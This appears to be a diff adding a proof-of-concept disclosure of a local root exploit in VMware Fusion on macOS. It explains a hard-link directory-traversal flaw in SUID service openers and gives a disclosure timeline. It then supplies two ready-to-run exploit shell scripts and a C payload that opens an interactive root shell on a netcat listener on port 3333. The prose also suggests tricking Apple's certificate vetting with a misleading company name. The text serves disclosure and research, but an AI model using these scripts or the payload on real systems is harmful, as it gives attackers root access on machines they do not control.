|
| 1 | +Local Privilege Escalation via VMWare Fusion |
| 2 | + |
| 3 | +Overview: |
| 4 | +A directory traversal vulnerability in VMware Fusion's SUID binaries can allow |
| 5 | +an attacker to run commands as the root user. |
| 6 | + |
| 7 | +Tested Versions: |
| 8 | +* VMware Fusion 10.1.3 (9472307) on macOS 10.13.6 |
| 9 | +* VMware Fusion 11.0.0 (10120384) on macOS 10.14.1 |
| 10 | +* VMware Fusion 11.0.2 (10952296) on macOS 10.14.1 |
| 11 | +* VMware Fusion 11.5.0 (14634996) on macOS 10.15.1 |
| 12 | +* VMware Fusion 11.5.1 (15018442) on macOS 10.15.1 |
| 13 | + |
| 14 | +Exercising: |
| 15 | +1) Ensure the VMware Fusion services are not running. If open, quit the VMware |
| 16 | + Fusion GUI. |
| 17 | +2) Run one of the exploit script (exploit_fusion.sh or exploit_usb.sh). They |
| 18 | + will remain running until manually stopped via CTRL-c. The exploit will start |
| 19 | + a netcat listener as root on TCP port 3333. |
| 20 | +3) Connect to the netcat listener: nc 127.0.0.1 3333 |
| 21 | + |
| 22 | +Details: |
| 23 | +This vulnerability is a directory traversal bug inside of VMware Fusion. Several |
| 24 | +of the programs included in VMware Fusion rely on the their path on disk to find |
| 25 | +other libraries, helper utilities, and service daemons. Two such instances of |
| 26 | +this code pattern in SUID programs can be found in the "Open VMware Fusion |
| 27 | +Services" executable and the "Open VMware USB Arbitrator Service" executable. |
| 28 | +These programs try to open the service programs by looking for the files: |
| 29 | + |
| 30 | +Open VMware Fusion Services: |
| 31 | +$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware Fusion Services |
| 32 | +Open VMware USB Arbitrator Service: |
| 33 | +$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware USB Arbitrator Service |
| 34 | + |
| 35 | +While ordinarily this is fine, as any attempt to copy the programs will not copy |
| 36 | +the SUID ownership of the file and any attempt to the move the programs will |
| 37 | +fail without root access. Furthermore symbolic links will not trick the programs |
| 38 | +into using the new location. However, on macOS unprivileged users can create |
| 39 | +hard links to SUID executables, which will trick the programs. Thus, by creating |
| 40 | +an adequate directory layout and hard linking to the SUID programs, we can trick |
| 41 | +them into running an executable of our choice as the root user. The included |
| 42 | +exploit_usb.sh and exploit_fusion.sh scripts setup the correct directory |
| 43 | +structure and hard link, compile the payload, and run the linked program in |
| 44 | +order to start a netcat listener as root on TCP port 3333. |
| 45 | + |
| 46 | +In addition to the two SUID executables listed above, the SUID executable |
| 47 | +"vmware-authd" is also vulnerable to this bug. vmware-authd tries to load two |
| 48 | +libraries, libcrypto and libssl, from the incorrect directory. However, the two |
| 49 | +libraries must be signed by apple or with an apple distributed signing |
| 50 | +certificate from an organization containing the word "VMware". As such, this bug |
| 51 | +is harder to exploit in vmware-authd. Depending on how strict Apple's developer |
| 52 | +verification process is, it may be possible to fool Apple into granting a |
| 53 | +matching certificate by hiding VMware within a phrase, such as with a |
| 54 | +certificate for "Never Mind Where cloud services inc (NVMware Inc)". |
| 55 | + |
| 56 | +One limitation to this vulnerability is that these two vulnerable service |
| 57 | +openers will not try to open their services if the service is already running. |
| 58 | +Thus, the exploit will not work if the "VMware USB Arbitrator Service" and |
| 59 | +"VMware Fusion Services" services are already running. Thus, if the VMware |
| 60 | +Fusion GUI is open, this vulnerability cannot be exploited. However, closing the |
| 61 | +GUI will stop the services associated with the vulnerable service openers and |
| 62 | +make the vulnerability once again exploitable. In contrast, the library |
| 63 | +injection attack is not subject to these restrictions (but requires the |
| 64 | +appropriate certificate). |
| 65 | + |
| 66 | +As a side note, the vulnerable code is also used in VMware Workstation on Linux. |
| 67 | +However, Linux does not allow an unprivileged user to create hard links to files |
| 68 | +they do not own. As such, this bug is not exploitable in VMware Workstation on |
| 69 | +Linux. |
| 70 | + |
| 71 | +Timeline: |
| 72 | +2019.11.12 Reported to VMware |
| 73 | +2019.12.18 VMware confirms they can reproduce the issue |
| 74 | +2019.12.24 Asked for status update, were told we'd get an update in early Jan |
| 75 | +2020.01.08 Requested status update, were told fix scheduled for April 2020 |
| 76 | +2020.01.15 Called VMware to discuss |
| 77 | +2020.01.21 Follow up meeting with VMware to discuss |
| 78 | +2020.03.17 VMware releases patch & public disclosure |
| 79 | + |
| 80 | + |
| 81 | + |
| 82 | + |
| 83 | + |
| 84 | + |
| 85 | + |
| 86 | + |
| 87 | + |
| 88 | + |
| 89 | + |
| 90 | + |
| 91 | + |
| 92 | +## exploit_fusion.sh |
| 93 | +``` |
| 94 | +#!/bin/sh |
| 95 | +
|
| 96 | +# Remake the necessary folder structure |
| 97 | +rm -rf a Contents |
| 98 | +mkdir -p Contents/Library/services/ |
| 99 | +mkdir -p a/b/c/ |
| 100 | +
|
| 101 | +# Build our payload |
| 102 | +clang payload.c -o "Contents/Library/services/VMware Fusion Services" |
| 103 | +
|
| 104 | +# Create a hard link to the VMware SUID opener program |
| 105 | +ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services a/b/c/linked |
| 106 | +
|
| 107 | +# Run the linked program, which causes it to be confused about the path, and |
| 108 | +# launch our payload. Additionally if our payload exits, VMware will relaunch |
| 109 | +# it |
| 110 | +a/b/c/linked |
| 111 | +``` |
| 112 | +## exploit_fusion.sh EOF |
| 113 | + |
| 114 | + |
| 115 | +## exploit_usb.sh |
| 116 | +``` |
| 117 | +#!/bin/sh |
| 118 | +
|
| 119 | +# Remake the necessary folder structure |
| 120 | +rm -rf a Contents |
| 121 | +mkdir -p Contents/Library/services/ |
| 122 | +mkdir -p a/b/c/ |
| 123 | +
|
| 124 | +# Build our payload |
| 125 | +clang payload.c -o "Contents/Library/services/VMware USB Arbitrator Service" |
| 126 | +
|
| 127 | +# Create a hard link to the VMware SUID opener program |
| 128 | +ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ USB\ Arbitrator\ Service a/b/c/linked |
| 129 | +
|
| 130 | +# Run the linked program, which causes it to be confused about the path, and |
| 131 | +# launch our payload. Additionally if our payload exits, VMware will relaunch |
| 132 | +# it |
| 133 | +a/b/c/linked |
| 134 | +``` |
| 135 | +## exploit_usb.sh EOF |
| 136 | + |
| 137 | + |
| 138 | +## payload.c |
| 139 | +``` |
| 140 | +#include <stdlib.h> |
| 141 | +#include <unistd.h> |
| 142 | +int main(int argc, char**argv) { |
| 143 | + setuid(0); |
| 144 | + system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 3333 > /tmp/f"); |
| 145 | + return 0; |
| 146 | +} |
| 147 | +``` |
| 148 | +## payload.c EOF |
0 commit comments